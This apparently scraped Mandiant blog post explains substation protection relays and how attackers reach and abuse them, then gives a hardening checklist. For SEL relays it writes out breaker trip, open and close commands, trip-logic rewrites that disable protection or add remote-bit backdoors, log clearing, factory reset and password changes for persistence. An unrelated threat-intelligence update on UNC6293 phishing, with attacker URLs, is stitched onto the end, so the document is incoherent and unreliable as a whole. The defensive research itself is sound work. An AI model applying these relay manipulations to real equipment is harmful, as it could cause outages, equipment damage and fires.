• Remote Terminal Units (RTUs) or Gateway Devices: In legacy or hybrid substations, RTUs aggregate telemetry from field devices and forward it to control centers. In fully digital substations, this function may be handled by SCADA gateways or station-level IEDs that natively support IEC 61850 or legacy protocol bridging.

• Time Synchronization Devices: GPS clocks or PTP servers are deployed to maintain time alignment across relays, sampled value streams, and event logs. This is essential for fault location, waveform analysis, and sequence of events (SoE) correlation.

Network Architecture

Modern digital substations are engineered with highly segmented network architectures to ensure deterministic protection, resilient automation, and secure remote access. These systems rely on fiber-based Ethernet communication and time-synchronized messaging to connect physical devices, intelligent electronics, SCADA systems, and engineering tools across three foundational layers.

Figure 1: Substation Network Architecture

Network Topologies: Substations employ redundant Ethernet designs to achieve high availability and zero-packet-loss communication, especially for protection-critical traffic.

Common topologies include:

• RSTP (Rapid Spanning Tree Protocol) – Basic redundancy by blocking loops in switched networks

• PRP (Parallel Redundancy Protocol) – Simultaneous frame delivery over two independent paths

• HSR (High-availability Seamless Redundancy) – Ring-based protocol that allows seamless failover for protection traffic

Communication Layers: Zones and Roles

Modern substations are structured into distinct functional network layers, each responsible for different operations, timing profiles, and security domains. Understanding this layered architecture is critical to both operational design and cyber risk modeling.

• Process Bus / Bay Level Communication

  • This is the most time-sensitive layer in the substation. It handles deterministic, peer-to-peer communication between IEDs (Intelligent Electronic Devices), Merging Units (MUs), and digital I/O modules that directly interact with primary field equipment.
    • Includes:
      • Protection and Control IEDs - Relay logic for fault detection and breaker actuation
      • MUs - Convert CT/PT analog inputs into digitized Sampled Values (SV)
      • IED I/O Modules - Digitally interface with trip coils and status contacts on breakers
      • Circuit Breakers, CTs, and PTs - Primary electrical equipment connected through MUs and I/O
      • Master clock or time source - Ensures time-aligned SV and event data using PTP (IEEE 1588) or IRIG-B
      • Protocols:
        • IEC 61850-8-1 (GOOSE) - Protection logic, trip/block signaling
        • IEC 61850-9-2 (SV) - Real-time sampled analog measurements
        • Time Sync (PTP/IRIG-B) - Sub-millisecond alignment across protection systems

• Station Bus / Substation Automation LAN (Supervisory and Control Layer)

  • The Station Bus connects IEDs, local operator systems, SCADA gateways, and the Substation Automation System (SAS). It is responsible for coordination, data aggregation, event recording, and forwarding data to control centers.
    • Includes:
      • SAS - Central event and logic manager
      • HMIs - Local operator access
      • Engineering Workstation (EWS) - Access point for authorized relay configuration and diagnostics
      • RTUs / SCADA Gateways - Bridge to EMS/SCADA networks
      • Managed Ethernet Switches (PRP/HSR) - Provide reliable communication paths
    • Protocols:
      • MMS (IEC 61850-8-1) - Relay supervision, config edits, event reporting, time sync
      • IEC 60870-5-104 / DNP3 - Upstream telemetry to control center
      • Modbus (legacy) - Field device communication
      • SNMP (secured) - Network health monitoring
    • Engineering Access (Role-Based, Cross-Layer): Engineering access is not a stand-alone communication layer but a privileged access path used by protection engineers and field technicians to perform maintenance, configuration, and diagnostics.
      • Access Components:
        • EWS - Direct relay interface via MMS or console
        • Jump Servers / VPNs - Controlled access to remote or critical segments
        • Terminal/ Serial Consoles - Used for maintenance and troubleshooting purposes

What Protection Relays Really Do

In modern digital substations, protection relays—more accurately referred to as IEDs—have evolved far beyond basic trip-and-alarm functions. These devices now serve as cyber-physical control points, responsible not only for detecting faults in real time but also for executing programmable logic, recording event data, and acting as communication intermediaries between digital and legacy systems.

At their core, IEDs monitor electrical parameters, such as voltage, current, frequency, and phase angle, and respond to conditions like overcurrent, ground faults, and frequency deviations. Upon fault detection, they issue trip commands to circuit breakers—typically within one power cycle (e.g., 4–20 ms)—to safely isolate the affected zone and prevent equipment damage or cascading outages.

• Beyond traditional protection: Modern IEDs provide a rich set of capabilities that make them indispensable in fully digitized substations.

  • Trip Logic Processing: Integrated logic engines (e.g., SELogic, FlexLogic, CFC) evaluate multiple real-time conditions to determine if, when, and how to trip, block, or permit operations.

  • Event Recording and Fault Forensics: Devices maintain Sequence of Events (SER) logs and capture high-resolution oscillography (waveform data), supporting post-event diagnostics and root-cause analysis.

  • Local Automation Capabilities: IEDs can autonomously execute transfer schemes, reclose sequences, interlocking, and alarm signaling often without intervention from SCADA or a centralized controller.

  • Protocol Bridging and Communication Integration: Most modern relays support and translate between multiple protocols, including IEC 61850, DNP3, Modbus, and IEC 60870-5-104, enabling them to function as data gateways or edge translators in hybrid communication environments.

• Application across the grid: These devices ensure rapid fault isolation, coordinated protection, and reliable operation across transmission, distribution, and industrial networks.

  • Transmission and distribution lines (e.g., SIPROTEC)

  • Power Transformers (e.g., ABB RET615)

  • Feeders, Motors and industrial loads (e.g., GE D60)

How Attackers Can Recon and Target Protection Relays

As substations evolve into digital control hubs, their critical components, particularly protection relays, are no longer isolated devices. These IEDs are now network-connected through Ethernet, serial-to-IP converters, USB interfaces, and in rare cases, tightly controlled wireless links used for diagnostics or field tools.

While this connectivity improves maintainability, remote engineering access, and real-time visibility, it also expands the cyberattack surface exposing relays to risks of unauthorized logic modification, protocol exploitation, or lateral movement from compromised engineering assets.

Reconnaissance From the Internet

Attackers often begin with open-source intelligence (OSINT), building a map of the organization's digital and operational footprint. They aren't initially looking for IEDs or substations; they're identifying the humans who manage them.

• Social Recon: Using LinkedIn, engineering forums, or vendor webinars, attackers look for job titles like "Substation Automation Engineer," "Relay Protection Specialist," or "SCADA Administrator."

• OSINT Targeting: Public resumes and RFI documents may reference software like DIGSI, PCM600, or AcSELerator. Even PDF metadata from utility engineering documents can reveal usernames, workstation names, or VPN domains.

• Infrastructure Scanning: Tools like Shodan or Censys help identify exposed VPNs, engineering portals, and remote access gateways. If these systems support weak authentication or use outdated firmware, they become initial entry points.

• Exploitation of Weak Vendor Access: Many utilities still use stand-alone VPN credentials for contractors and OEM vendors. These accounts often bypass centralized identity systems, lack 2FA, and are reused across projects.

Reconnaissance in IT — Mapping the Path to OT

Once an attacker gains a foothold within the IT network—typically through phishing, credential theft, or exploiting externally exposed services—their next objective shifts toward internal reconnaissance. The target is not just domain dominance, but lateral movement toward OT-connected assets such as substations or Energy Management Systems (EMS).

• Domain Enumeration: Using tools like BloodHound, attackers map Active Directory for accounts, shares, and systems tagged with OT context (e.g., usernames like scada_substation_admin, and groups like scada_project and scada_communication).

This phase allows the attacker to pinpoint high-value users and their associated devices, building a shortlist of engineering staff, contractors, or control center personnel who likely interface with OT assets.

• Workstation & Server Access: Armed with domain privileges and OT-centric intelligence, the attacker pivots to target the workstations or terminal servers used by the identified engineers. These endpoints are rich in substation-relevant data, such as:

  • Relay configuration files (.cfg, .prj, .set)

  • VPN credentials or profiles for IDMZ access

  • Passwords embedded in automation scripts or connection managers

  • Access logs or RDP histories indicating commonly used jump hosts

At this stage, the attacker is no longer scanning blindly; they're executing highly contextual moves to identify paths from IT into OT.

IDMZ Penetration — Crossing the Last Boundary

Using gathered VPN credentials, hard-coded SSH keys, or jump host details, the attacker attempts to cross into the DMZ. This zone typically mediates communication between IT and OT, and may be accessed via:

• Engineering jump hosts (dual-homed systems, often less monitored)

• Poorly segmented RDP gateways with reused credentials

• Exposed management ports on firewalls or remote access servers

Once in the IDMZ, attackers map accessible subnets and identify potential pathways into live substations.

Substation Discovery and Technical Enumeration

Once an attacker successfully pivots into the substation network often via compromised VPN credentials, engineering jump hosts, or dual-homed assets bridging corporate and OT domains—the next step is to quietly enumerate the substation landscape. At this point, they are no longer scanning broadly but conducting targeted reconnaissance to identify and isolate high-value assets, particularly protection relays.

Rather than using noisy tools like nmap with full port sweeps, attackers rely on stealthier techniques tailored for industrial networks. These include passive traffic sniffing and protocol-specific probing to avoid triggering intrusion detection systems or log correlation engines. For example, using custom Python or Scapy scripts, the attacker might issue minimal handshake packets for protocols such as IEC 61850 MMS, DNP3, or Modbus, observing how devices respond to crafted requests. This helps fingerprint device types and capabilities without sending bulk probes.

Simultaneously, MAC address analysis plays a crucial role in identifying vendors. Many industrial devices use identifiable prefixes unique to specific power control system manufacturers. Attackers often leverage this to differentiate protection relays from HMIs, RTUs, or gateways with a high degree of accuracy.

Additionally, by observing mirrored traffic on span ports or through passive sniffing on switch trunks, attackers can detect GOOSE messages, Sampled Values (SV), or heartbeat signals indicative of live relay communication. These traffic patterns confirm the presence of active IEDs, and in some cases, help infer the device's operational role or logical zone.

Once relays, protocol gateways, and engineering HMIs have been identified, the attacker begins deeper technical enumeration. At this stage, they analyze which services are exposed on each device such as Telnet, HTTP, FTP or MMS, and gather banner information or port responses that reveal firmware versions, relay models or serial numbers. Devices with weak authentication or legacy configurations are prioritized for exploitation.

The attacker may next attempt to log in using factory-set or default credentials, which are often easily obtainable from device manuals. Alarmingly, these credentials are often still active in many substations due to lax commissioning processes. If login is successful, the attacker escalates from passive enumeration to active control—gaining the ability to view or modify protection settings, trip logic, and relay event logs.

If the relays are hardened with proper credentials or access controls, attackers might try other methods, such as accessing rear-panel serial ports via local connections or probing serial-over-IP bridges linked to terminal servers. Some adversaries have even used vendor software (e.g., DIGSI, AcSELerator, PCM600) found on compromised engineering workstations to open relay configuration projects, review programmable logic (e.g., SELogic or FlexLogic), and make changes through trusted interfaces.

Another critical risk in substation environments is the presence of undocumented or hidden device functionality. As highlighted in CISA advisory ICSA-24-095-02, SEL 700-series protection relays were found to contain undocumented capabilities accessible to privileged users.

Separately, some relays may expose backdoor Telnet access through hard-coded or vendor diagnostic accounts. These interfaces are often enabled by default and left undocumented, giving attackers an opportunity to inject firmware, wipe configurations, or issue commands that can directly trip or disable breakers.

By the end of this quiet but highly effective reconnaissance phase, the attacker has mapped out the protection relay landscape, assessed device exposure, and identified access paths. They now shift from understanding the network to understanding what each relay actually controls, entering the next phase: process-aware enumeration.

Process-Aware Enumeration

Once attackers have quietly mapped out the substation network (identifying protection relays, protocol gateways, engineering HMIs, and confirming which devices expose insecure services) their focus shifts from surface-level reconnaissance to gaining operational context. Discovery alone isn't enough. For any compromise to deliver strategic impact, adversaries must understand how these devices interact with the physical power system.

This is where process-aware enumeration begins. The attacker is no longer interested in just controlling any relay they want to control the right relay. That means understanding what each device protects, how it's wired into the breaker scheme, and what its role is within the substation topology.

Armed with access to engineering workstations or backup file shares, the attacker reviews substation single-line diagrams (SLDs), often from SCADA HMI screens or documentation from project folders. These diagrams reveal the electrical architecture—transformers, feeders, busbars—and show exactly where each relay fits. Identifiers like "BUS-TIE PROT" or "LINE A1 RELAY" are matched against configuration files to determine their protection zone.

By correlating relay names with breaker control logic and protection settings, the attacker maps out zone hierarchies: primary and backup relays, redundancy groups, and dependencies between devices. They identify which relays are linked to auto-reclose logic, which ones have synch-check interlocks, and which outputs are shared across multiple feeders.

This insight enables precise targeting. For example, instead of blindly disabling protection across the board, which would raise immediate alarms, the attacker may suppress tripping on a backup relay while leaving the primary untouched. Or, they might modify logic in such a way that a fault won't be cleared until the disturbance propagates, creating the conditions for a wider outage.

At this stage, the attacker is not just exploiting the relay as a networked device. They're treating it as a control surface for the substation itself. With deep process context in hand, they move from reconnaissance to exploitation: manipulating logic, altering protection thresholds, injecting malicious firmware, or spoofing breaker commands and because their changes are aligned with system topology, they maximize impact while minimizing detection.

Practical Examples of Exploiting Protection Relays

The fusion of network awareness and electrical process understanding makes modern substation attacks particularly dangerous—and why protection relays, when compromised, represent one of the highest-value cyber-physical targets in the grid.

To illustrate how such knowledge is operationalized by attackers, let's examine a practical example involving the SEL-311C relay, a device widely deployed across substations. Note: While this example focuses on SEL, the tactics described here apply broadly to comparable relays from other major OEM vendors such as ABB, GE, Siemens, and Schneider Electric. In addition, the information presented in this section does not constitute any unknown vulnerabilities or proprietary information, but instead demonstrates the potential for an attacker to use built-in device features to achieve adversarial objectives.

Figure 2: Attack Vectors for a SEL-311C Protection Relay

Physical Access

If an attacker gains physical access to a protection relay, either through the front panel or by opening the enclosure they can trigger a hardware override by toggling the internal access jumper, typically located on the relay's main board. This bypasses all software-based authentication, granting unrestricted command-level access without requiring a login. Once inside, the attacker can modify protection settings, reset passwords, disable alarms, or issue direct breaker commands effectively assuming full control of the relay.

However, such intrusions can be detected, if the right safeguards are in place. Most modern substations incorporate electronic access control systems (EACS) and SCADA-integrated door alarms. If a cabinet door is opened without an authorized user logged as onsite (via badge entry or operator check-in), alerts can be escalated to dispatch field response teams or security personnel.

Relays themselves provide telemetry for physical access events. For instance, SEL relays pulse the ALARM contact output upon use of the 2ACCESS command, even when the correct password is entered. Failed authentication attempts assert the BADPASS logic bit, while SETCHG flags unauthorized setting modifications. These SEL WORDs can be continuously monitored through SCADA or security detection systems for evidence of tampering.

Toggling the jumper to bypass relay authentication typically requires power-cycling the device, a disruptive action that can itself trigger alarms or be flagged during operational review.

To further harden the environment, utilities increasingly deploy centralized relay management suites (e.g., SEL Grid Configurator, GE Cyber Asset Protection, or vendor-neutral tools like Subnet PowerSystem Center) that track firmware integrity, control logic uploads, and enforce version control tied to access control mechanisms.

In high-assurance deployments, relay configuration files are often encrypted, access-restricted, and protected by multi-factor authentication, reducing the risk of rollback attacks or lateral movement even if the device is physically compromised.

Command Interfaces and Targets

With access established whether through credential abuse, exposed network services, or direct hardware bypass the attacker is now in a position to issue live commands to the relay. At this stage, the focus shifts from reconnaissance to manipulation, leveraging built-in interfaces to override protection logic and directly influence power system behavior.

Here's how these attacks unfold in a real-world scenario:

• Manual Breaker Operation: An attacker can directly issue control commands to the relay to simulate faults or disrupt operations.

  • Example commands include:

    • ==>PUL OUT101 5 ; Pulse output for 5 seconds to trip breaker

    • =>CLO ; Force close breaker

    • =>OPE ; Force open breaker

  • These commands bypass traditional protection logic, allowing relays to open or close breakers on demand. This can isolate critical feeders, create artificial faults, or induce overload conditions—all without triggering standard fault detection sequences.

• Programmable Trip Logic Manipulation

  • Modern protection relays such as those from SEL (SELogic), GE (FlexLogic), ABB (CAP tools), and Siemens (CFC), support customizable trip logic through embedded control languages. These programmable logic engines enable utilities to tailor protection schemes to site-specific requirements. However, this powerful feature also introduces a critical attack surface. If an adversary gains privileged access, they can manipulate core logic equations to suppress legitimate trips, trigger false operations, or embed stealthy backdoors that evade normal protection behavior.
    
    One of the most critical targets in this logic chain is the Trip Request (TR) output, the internal control signal that determines whether the relay sends a trip command to the circuit breaker.
    
    This equation specifies the fault conditions under which the relay should initiate a trip. Each element represents a protection function or status input, such as zone distance, overcurrent detection, or breaker position and collectively they form the basis of coordinated relay response.
    
    In the relay operation chain, the TR equation is at the core of the protection logic.

Figure 3: TR Logic Evaluation within the Protection Relay Operation Chain

In SEL devices, for example, this TR logic is typically defined using a SELogic control equation. A representative version might look like this:

TR = M1P + Z1G + M2PT + Z2GT + 51GT + 51QT + 50P1 * SH0

Table 1 includes an explanation of each element.

Element

Description

M1P

Zone 1 Phase distance element, it trips on phase faults within Zone 1.

Z1G

Zone 1 Ground distance element, trips on ground faults within Zone 1

M2PT

Phase distance element from Channel M2, Phase Trip (could be Zone 2)

Z2GT

Zone 2 Ground distance Trip element, for ground faults in Zone 2

51GT

Time-overcurrent element for ground faults (ANSI 51G)

51QT

Time-overcurrent element for negative-sequence current (unbalanced faults)

50P1

Instantaneous phase overcurrent element (ANSI 50P) for Zone 1

SH0

Breaker status input, logic 1 when breaker is closed

Table 1: Elements of TR

In the control equation, the + operator means logical OR, and * means logical AND. Therefore, the logic asserts TR if:

• • • • • Any of the listed fault elements (distance, overcurrent) are active, or
        • An instantaneous overcurrent occurs while the breaker is closed.

In effect, the breaker is tripped:

• • • • • If a phase or ground fault is detected in Zone 1 or Zone 2
        • If a time-overcurrent condition develops
        • Or if there's an instantaneous spike while the breaker is in service

How Attackers Can Abuse the TR Logic

With editing access, attackers can rewrite this logic to suppress protection, force false trips, or inject stealthy backdoors.

Table 2 shows common logic manipulation variants.

Attack Type

Modified Logic

Effect

Disable All Trips

TR = 0

Relay never trips, even during major faults. Allows sustained short circuits, potentially leading to fires or equipment failure.

Force Constant Tripping

TR = 1, TRQUAL = 0

Relay constantly asserts trip, disrupting power regardless of fault status.

Impossible Condition

TR = 50P1 * !SH0

Breaker only trips when already open, a condition that never occurs.

Remove Ground Fault Detection

TR = M1P + M2PT + 50P1 * SH0

Relay ignores ground faults entirely, a dangerous and hard-to-detect attack.

Hidden Logic Backdoor

TR = original + RB15

Attacker can trigger trip remotely via RB15 (a Remote Bit), even without a real fault.

Table 2: TR logic bombs

Disable Trip Unlatching (ULTR)

• ULTR = 0
• Impact: Prevents the relay from resetting after a trip. The breaker stays open until manually reset, which delays recovery and increases outage durations.

Reclose Logic Abuse

• 79RI = 1 ; Reclose immediately
• 79STL = 0        ; Skip supervision logic
• Impact: Forces breaker to reclose repeatedly, even into sustained faults. Can damage transformer windings, burn breaker contacts, or create oscillatory failures.

LED Spoofing

• LED12 = !TRIP
• Impact: Relay front panel shows a "healthy" status even while tripped. Misleads field technicians during visual inspections.

Event Report Tampering

• =>EVE            ; View latest event
• =>TRI             ; Manually trigger report
• =>SER C        ; Clear Sequential Event Recorder
• Impact: Covers attacker footprints by erasing evidence. Removes Sequential Event Recorder (SER) logs and trip history. Obstructs post-event forensics.

Change Distance Protection Settings

• In the relay protection sequence, distance protection operates earlier in the decision chain, evaluating fault conditions based on impedance before the trip logic is executed to issue breaker commands.

Figure 4: Distance protection settings in a Relay Operation Chain

• Impact: Distance protection relies on accurately configured impedance reach (Z1MAG) and impedance angle (Z1ANG) to detect faults within a predefined section of a transmission line (typically 80–100% of line length for Zone 1). Manipulating these values can have the following consequences:
  • Under-Reaching: Reducing Z1MAG to 0.3 causes the relay to detect faults only within 30% of the line length, making it blind to faults in the remaining 70% of the protected zone. This can result in missed trips, delayed fault clearance, and cascading failures if the backup protection does not act in time.
  • Impedance Angle Misalignment: Changing Z1ANG affects the directional sensitivity and fault classification. If the angle deviates from system characteristics, the relay may misclassify faults or fail to identify high-resistance faults, particularly on complex line configurations like underground cables or series-compensated lines.
  • False Trips: In certain conditions, especially with heavy load or load encroachment, a misconfigured distance zone may interpret normal load flow as a fault, resulting in nuisance tripping and unnecessary outages.
  • Compromised Selectivity & Coordination: The distance element's coordination with other relays (e.g., Zone 2 or remote end Zone 1) becomes unreliable, leading to overlapping zones or gaps in coverage, defeating the core principle of selective protection.

Restore Factory Defaults

• =>>R_S
• Impact: Wipes all hardened settings, password protections, and customized logic. Resets the relay to an insecure factory state.

Password Modification for Persistence

• =>>PAS 1 <newpass>
• Impact: Locks out legitimate users. Maintains long-term attacker access. Prevents operators from reversing changes quickly during incident response.

What Most Environments Still Get Wrong

Despite increasing awareness, training, and incident response playbooks, many substations and critical infrastructure sites continue to exhibit foundational security weaknesses. These are not simply oversights—they're systemic, shaped by the realities of substation lifecycle management, legacy system inertia, and the operational constraints of critical grid infrastructure.

Modernizing substation cybersecurity is not as simple as issuing new policies or buying next-generation tools. Substations typically undergo major upgrades on decade-long cycles, often limited to component replacement rather than full network redesigns. Integrating modern security features like encrypted protocols, central access control, or firmware validation frequently requires adding computers, increasing bandwidth, and introducing centralized key management systems. These changes are non-trivial in bandwidth-constrained environments built for deterministic, low-latency communication—not IT-grade flexibility.

Further complicating matters, vendor product cycles move faster than infrastructure refresh cycles. It's not uncommon for new protection relays or firmware platforms to be deprecated or reworked before they're fully deployed across even one utility's fleet, let alone hundreds of substations.

The result? A patchwork of legacy protocols, brittle configurations, and incomplete upgrades that adversaries continue to exploit. In the following section, we examine some of the most critical and persistent gaps, why they still exist, and what can realistically be done to address them.

This section highlights the most common and dangerous security gaps observed in real-world environments.

1. Legacy Protocols Left Enabled
   • Relays often come with older communication protocols such as:
     • Telnet (unencrypted remote access)
     • FTP (insecure file transfer)
     • Modbus RTU/TCP (lacks authentication or encryption)
   • These are frequently left enabled by default, exposing relays to:
     • Credential sniffing
     • Packet manipulation
     • Unauthorized control commands
   • Recommendation: Where possible, disable legacy services and transition to secure alternatives (e.g., SSH, SFTP, or IEC 62351 for secured GOOSE/MMS). If older services must be retained, tightly restrict access via VLANs, firewalls, and role-based control.
2. IT/OT Network Convergence Without Isolation
   • Modern substations may share network infrastructure with enterprise IT environments:
     • VPN access to Substation networks
     • Shared switches or VLANs between SCADA systems and relay networks
     • Lack of firewalls or access control lists (ACLs)
   • This exposes protection relays to malware propagation, ransomware, or lateral movement from compromised IT assets.
   • Recommendation: Establish strict network segmentation using firewalls, ACLs, and dedicated protection zones. All remote access should be routed through Privileged Access Management (PAM) platforms with MFA, session recording, and Just-In-Time access control.
3. Default or Weak Relay Passwords
   • In red team and audit exercises, default credentials are still found in the field sometimes printed on the relay chassis itself.
     • Factory-level passwords like LEVEL2, ADMIN, or OPERATOR remain unchanged.
     • Passwords physically labeled on devices
     • Password sharing among field teams compromises accountability.
   • These practices persist due to operational convenience, lack of centralized credential management, and difficulty updating devices in the field.
   • Recommendation: Mandate site-specific, role-based credentials with regular rotation and enforced via centralized relay management tools. Ensure audit logging of all access attempts and password changes.
4. Built-in Security Features Left Unused
   • OEM vendors already provide a suite of built-in security features, yet these are rarely configured in production environments. Security features such as role-based access control (RBAC), secure protocol enforcement (e.g., HTTPS, SSH), user-level audit trails, password retry lockouts, and alert triggers (e.g., BADPASS or SETCHG bits) are typically disabled or ignored during commissioning. In many cases, these features are not even evaluated due to time constraints, lack of policy enforcement, or insufficient familiarity among field engineers.
     
     These oversight patterns are particularly common in environments that inherit legacy commissioning templates, where security features are left in their default or least-restrictive state for the sake of expediency or compatibility.
   • Recommendation: Security configurations must be explicitly reviewed during commissioning and validated periodically. At a minimum:
     • Enable RBAC and enforce user-level permission tiers.
     • Configure BADPASS, ALARM, SETCHG, and similar relay logic bits to generate real-time telemetry.
     • Use secure protocols (HTTPS, SSH, IEC 62351) where supported.
     • Integrate security bit changes and access logs into central SIEM or NMS platforms for correlation and alerting.
5. Engineering Laptops with Stale Firmware Tools
   • OEM vendors also release firmware updates to fix any known security vulnerabilities and bugs. However:
     • Engineering laptops often use outdated configuration software
     • Old firmware loaders may upload legacy or vulnerable versions
     • Security patches are missed entirely
   • Recommendation: Maintain hardened engineering baselines with validated firmware signing, trusted toolchains, and controlled USB/media usage. Track firmware versions across the fleet for vulnerability exposure.
6. No Alerting on Configuration or Logic Changes
   • Protection relays support advanced logic and automation features like SELogic and FlexLogic but in many environments, no alerting is configured for changes. This makes it easy for attackers (or even insider threats) to silently:
     • Modify protection logic
     • Switch setting groups
     • Suppress alarms or trips
   • Recommendation: Enable relay-side event-based alerting for changes to settings, logic, or outputs. Forward logs to a central SIEM or security operations platform capable of detecting unauthorized logic uploads or suspicious relay behavior.
7. Relays Not Included in Security Audits or Patch Cycles
   • Relays are often excluded from regular security practices:
     • Not scanned for vulnerabilities
     • Not included in patch management systems
     • No configuration integrity monitoring or version tracking
   • This blind spot leaves highly critical assets unmanaged, and potentially exploitable.
   • Recommendation: Bring protection relays into the fold of cybersecurity governance, with scheduled audits, patch planning, and configuration monitoring. Use tools that can validate settings integrity and detect tampering, whether via vendor platforms or third-party relay management suites.
8. Physical Tamper Detection Features Not Monitored
   • Many modern protection relays include hardware-based tamper detection features designed to alert operators when the device enclosure is opened or physically manipulated. These may include:
     • Chassis tamper switches that trigger digital inputs or internal flags when the case is opened.
     • Access jumper position monitoring, which can be read via relay logic or status bits.
     • Power cycle detection, especially relevant when jumpers are toggled (e.g., SEL relays require a power reset to apply jumper changes).
     • Relay watchdog or system fault flags, indicating unexpected reboots or logic resets post-manipulation.
   • Despite being available, these physical integrity indicators are rarely wired into the SCADA system or included in alarm logic. As a result, an attacker could open a relay, trigger the access jumper, or insert a rogue SD card—and leave no real-time trace unless other controls are in place.
   • Recommendation: Utilities should enable and monitor all available hardware tamper indicators:
     • Wire tamper switches or digital input changes into RTUs or SCADA for immediate alerts.
     • Monitor ALARM, TAMPER, SETCHG, or similar logic bits in relays that support them (e.g., SEL WORD bits).
     • Configure alert logic to correlate with badge access logs or keycard systems—raising a flag if physical access occurs outside scheduled maintenance windows.
     • Include physical tamper status as a part of substation security monitoring dashboards or intrusion detection platforms.

From Oversights to Action — A New Baseline for Relay Security

The previously outlined vulnerabilities aren't limited to isolated cases, they reflect systemic patterns across substations, utilities, and industrial sites worldwide. As the attack surface expands with increased connectivity, and as adversaries become more sophisticated in targeting protection logic, these security oversights can no longer be overlooked.

But securing protection relays doesn't require reinventing the wheel. It begins with the consistent application of fundamental security practices, drawn from real-world incidents, red-team assessments, and decades of power system engineering wisdom.

While these practices can be retrofitted into existing environments, it's critical to emphasize that security is most effective when it's built in by design, not bolted on later. Retrofitting controls in fragile operational environments often introduces more complexity, risk, and room for error. For long-term resilience, security considerations must be embedded into system architecture from the initial design and commissioning stages.

To help asset owners, engineers, and cybersecurity teams establish a defensible and vendor-agnostic baseline, Mandiant has compiled the "Top 10 Security Practices for Substation Relays," a focused and actionable framework applicable across protocols, vendors, and architectures.

In developing this list, Mandiant has drawn inspiration from the broader ICS security community—particularly initiatives like the "Top 20 Secure PLC Coding Practices" developed by experts in the field of industrial automation and safety instrumentation. While protection relays are not the same as PLCs, they share many characteristics: firmware-driven logic, critical process influence, and limited error tolerance.

The Top 20 Secure PLC Coding Practices have shaped secure programming conversations for logic-bearing control systems and Mandiant aims for this "Top 10 Security Practices for Substation Relays" list to serve a similar purpose for the protection engineering domain.

Top 10 Security Practices for Substation Relays

#

Practice

What It Protects

Explanation

1

Authentication & Role Separation

Prevents unauthorized relay access and privilege misuse

Ensure each user has their own account with only the permissions they need (e.g., Operator, Engineer). Remove default or unused credentials.

2

Secure Firmware & Configuration Updates

Prevents unauthorized or malicious software uploads

Only allow firmware/configuration updates using verified, signed images through secure tools or physical access. Keep update logs.

3

Network & Protocol Hardening

Prevents spoofed messages, unauthorized remote access, VLAN abuse

Disable unused services like HTTP, Telnet, or FTP. Use authenticated communication for SCADA protocols (IEC 61850, DNP3). Whitelist IPs.

4

Time Synchronization & Logging Protection

Ensures forensic accuracy and prevents log tampering or replay attacks

Use authenticated SNTP or IRIG-B for time. Protect event logs (SER, fault records) from unauthorized deletion or overwrite.

5

Custom Logic Integrity Protection

Prevents logic-based sabotage or backdoors in protection schemes

Monitor and restrict changes to programmable logic (trip equations, control rules). Maintain version history and hash verification.

6

Physical Interface Hardening

Blocks unauthorized access via debug ports or jumpers

Disable, seal, or password-protect physical interfaces like USB, serial, or Ethernet service ports. Protect access jumpers.

7

Redundancy and Failover Readiness

Ensures protection continuity during relay failure or communication outage

Test pilot schemes (POTT, DCB, 87L). Configure redundant paths and relays with identical settings and failover behavior.

8

Remote Access Restrictions & Monitoring

Prevents dormant vendor backdoors and insecure remote control

Disable remote services when not needed. Remove unused vendor/service accounts. Alert on all remote access attempts.

9

Command Supervision & Breaker Output Controls

Prevents unauthorized tripping or closing of breakers

Add logic constraints (status checks, delays, dual-conditions) to all trip/close outputs. Log all manual commands.

10

Centralized Log Forwarding & SIEM Integration

Enables detection of attacks and misconfigurations across systems

Relay logs and alerts should be sent to a central monitoring system (SIEM or historian) for correlation, alerts, and audit trails.

Call to Action

In an era of increasing digitization and escalating cyber threats, the integrity of our power infrastructure hinges on the security of its most fundamental guardians: protection relays. The focus of this analysis is to highlight the criticality of enabling existing security controls and incorporating security as a core design principle for every new substation and upgrade. As sophisticated threat actors, including nation-state-sponsored groups from countries like Russia, China and Iran, actively target critical infrastructure, the need to secure these devices has never been more urgent.

Mandiant recommends that all asset owners prioritize auditing remote access paths to substation automation systems and investigate the feasibility of implementing the "Top 10 Security Practices for Substation Relays" highlighted in this document. Defenders should also consider building a test relay lab or a relay digital twin, which are cloud-based replicas of their physical systems offered by some relay vendors, for robust security and resilience testing in a safe environment. By using real-time data, organizations can use test relay labs or digital twins to—among other things—test for essential subsystem interactions and repercussions of their systems transitioning from a secure state to an insecure state, all without disrupting production. To validate these security controls against a realistic adversary, a Mandiant OT Red Team exercise can safely simulate the tactics, techniques, and procedures used in real-world attacks and assess your team's detection and response capabilities. By taking proactive steps to harden these vital components, we can collectively enhance the resilience of the grid against a determined and evolving threat landscape.

Written by: Gabby Roncone, Wesley Shields

UPDATE (July 10)

In late June 2025, Google Threat Intelligence Group (GTIG) discovered continued UNC6293 operations that demonstrate an evolution in the group’s tradecraft. Using similar lure themes as previously observed activity, UNC6293 continued the ASP phishing campaign against prominent academics, critics of Russia, and journalists using different ASP names, potentially as a response to our publication of their tradecraft. In a different campaign, UNC6293 sought to convince targets to link an attacker-controlled device to their Microsoft 365 account through Microsoft’s device code authentication flow.

In an attempt to continue the ASP campaign, UNC6293 attempted to re-establish contact with specific individuals that had previously engaged with the initial phishing attempts. GTIG observed UNC6293 creating multiple new accounts with similar usernames to ones used previously and already disabled. UNC6293 also used different ASP names in this continuation wave of the campaign. Due to the engagement with their initial campaign, UNC6293 demonstrated a desire to keep the ruse of being State Department employees alive and re-engage with specific individual targets from the previous campaign.

UNC6293 also began to send tailored invitations to virtual meetings through calendar invites. These invitations included links to Zoom and Google Meet as well as a Microsoft authentication URL for an attacker controlled application.

https://login.microsoft[.]com/<redacted>/oauth2/authorize?client_id= fc45d3d0-d870-4c83-b3f7-08ebca61d3a0&prompt= none&response_mode=form_post

Clicking the Microsoft authentication URL starts a redirect chain that includes an actor-controlled domain:

https://rediruri[.]app/<redacted>

The attacker-controlled URL is only visible in the browser for a short period of time before it redirects the target to a Microsoft 365 authentication page (Figure 4).

Figure 4: Microsoft 365 authentication page after redirect

Given the demonstrated patience, persistence and creativity of this threat actor, GTIG strongly recommends following the mitigations outlined in the initial version of this blog post to protect against any further ASP phishing campaigns from UNC6293 or other threat actors. Social engineering attacks abusing legitimate authentication features are difficult to defend against; as a result, we suggest individuals who may be targeted by this group use Google’s enhanced security resources such as the Advanced Protection Program (APP).

Introduction

